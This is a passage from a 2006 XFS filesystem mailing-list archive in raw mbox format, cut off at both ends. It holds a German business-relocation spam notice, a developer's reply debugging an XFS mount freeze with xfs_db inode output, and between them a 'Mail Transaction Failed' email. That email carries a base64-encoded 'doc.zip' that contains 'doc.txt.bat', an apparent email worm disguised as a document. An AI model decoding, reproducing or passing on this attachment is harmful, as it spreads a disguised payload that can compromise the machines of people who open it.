scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23641 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Content-length: 1276 X-archive-position: 9366 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: info@xinemedia.de Precedence: bulk X-list: xfs Status: O Sehr geehrte Damen und Herren, =20 Bitte =E4ndern Sie Ihre Stammdaten. =20 Die Firma Nasty-Productions und die Firma N-Film werden demn=E4chst als das Multimediale Dienstleistungsunternehmen XINEMEDIA auftreten. Alles unter einem Dach: =20 Video / Filmproduktionen Musikvideos Imagefilme Messefilme Werbung Trailer Internetfilme Etc. =20 Musik / Sprachproduktionen Musikproduktion H=F6rb=FCcher Warteschleifen Telefonansagen Hintergrundmusik (GEMA-Frei) Etc. =20 Web / Office / Multimedia Internetseiten Multimedia DVDs DVD Produktion Multimediale CD-ROM Etc. =20 =20 =20 XINEMEDIA-HANNOVER Marienstrasse 73a 30171 Hannover =20 fon: +49 511 475 35 82 fax: +49 511 475 35 83 =20 Der neue Standort in Hannover bietet uns mehr Platz und Flexibilit=E4t, dam= it wir Sie in Zukunft noch besser betreuen k=F6nnen. Das Film-Foto-Studio und = das Musik-Studio befinden sich jetzt unter einen Dach. Jetzt k=F6nnen wir alle Auftr=E4ge noch schneller und effizienter abwickeln. =20 =20 Wir freuen uns auf die weitere erfolgreiche Zusammenarbeit mit Ihrem Haus und stehen Ihnen jederzeit gerne auch telefonisch zur Verf=FCgung. =20 Freundliche Gr=FC=DFe, =20 www.xinemedia.de [[HTML alternate version deleted]] From owner-xfs@oss.sgi.com Thu Oct 19 20:51:18 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 19 Oct 2006 20:51:23 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9K3pGaG028820 for ; Thu, 19 Oct 2006 20:51:18 -0700 X-ASG-Debug-ID: 1161312686-19493-468-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from AsusLaptop (dsl-210-15-243-180-static.VIC.netspace.net.au [210.15.243.180]) by cuda.sgi.com (Spam Firewall) with SMTP id DFDDC4AE4E3 for ; Thu, 19 Oct 2006 19:51:26 -0700 (PDT) Received: (qmail 3269 invoked by uid 0); Fri, 20 Oct 2006 12:49:26 -0000) Received: from unknown (HELO syhf) (192.168.0.238) by 192.168.0.24 with SMTP; Fri, 20 Oct 2006 12:49:26 -0000 Date: Fri, 20 Oct 2006 12:40:26 +1000 From: cyber Mime-Version: 1.0 To: xfs@oss.sgi.com X-ASG-Orig-Subj: Mail Transaction Failed Subject: Mail Transaction Failed Content-Type: multipart/mixed; boundary="-----------8F7A1EF79C2B33D3" Message-Id: <20061020025126.DFDDC4AE4E3@cuda.sgi.com> X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=MSGID_FROM_MTA_ID X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23650 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.70 MSGID_FROM_MTA_ID Message-Id for external message added locally X-archive-position: 9367 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: cyber.thompson@elamex.com Precedence: bulk X-list: xfs Status: O -------------8F7A1EF79C2B33D3 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit The message contains Unicode characters and has been sent as a binary attachment. -------------8F7A1EF79C2B33D3 Content-Type: APPLICATION/OCTET-STREAM; name="doc.zip" Content-transfer-encoding: base64 Content-Disposition: attachment; filename="doc.zip" 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 wCMAAAAA -------------8F7A1EF79C2B33D3-- From owner-xfs@oss.sgi.com Thu Oct 19 21:07:08 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 19 Oct 2006 21:07:21 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9K475aG031669 for ; Thu, 19 Oct 2006 21:07:07 -0700 Received: from boing.melbourne.sgi.com (boing.melbourne.sgi.com [134.14.55.141]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id OAA09399; Fri, 20 Oct 2006 14:06:17 +1000 Date: Fri, 20 Oct 2006 14:06:29 +1000 From: Timothy Shimmin To: peyytmek@gmx.de, xfs@oss.sgi.com Subject: Re: Fwd: Re: xfs mounting problem, hdb1 just freezes Message-ID: <93BCAC8A8F8B13AB0095C1B8@timothy-shimmins-power-mac-g5.local> In-Reply-To: <200610191436.13773.peyytmek@gmx.de> References: <200610191436.13773.peyytmek@gmx.de> X-Mailer: Mulberry/4.0.6 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 9368 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: tes@sgi.com Precedence: bulk X-list: xfs Status: O --On 19 October 2006 2:36:13 PM +0000 peyytmek@gmx.de wrote: > Hello. > Thanks for your answer. > > That's what i have: dmesg print with kernel-2.6.16-gentoo-r3 and an print of > xfs_bg. > >> You could print out the offending inode with xfs_db to show us >> what it looks like: $xfs_db -r /dev/hdb1 -c "inode 950759" -c "print". > > I don't know what you mean with it but i added it anyway. (done with > kernel-2.6.18-gentoo if it matters) > > xfs_db: > > CLX ~ # xfs_db -r /dev/hdb1 -c "inode 950759" -c "print" > core.magic = 0x494e > core.mode = 0100644 > core.version = 1 > core.format = 3 (btree) > core.nlinkv1 = 0 > core.uid = 1000 > core.gid = 100 > core.flushiter = 0 > core.atime.sec = Sun Aug 27 14:56:52 2006 > core.atime.nsec = 657389250 > core.mtime.sec = Sun Aug 27 16:29:40 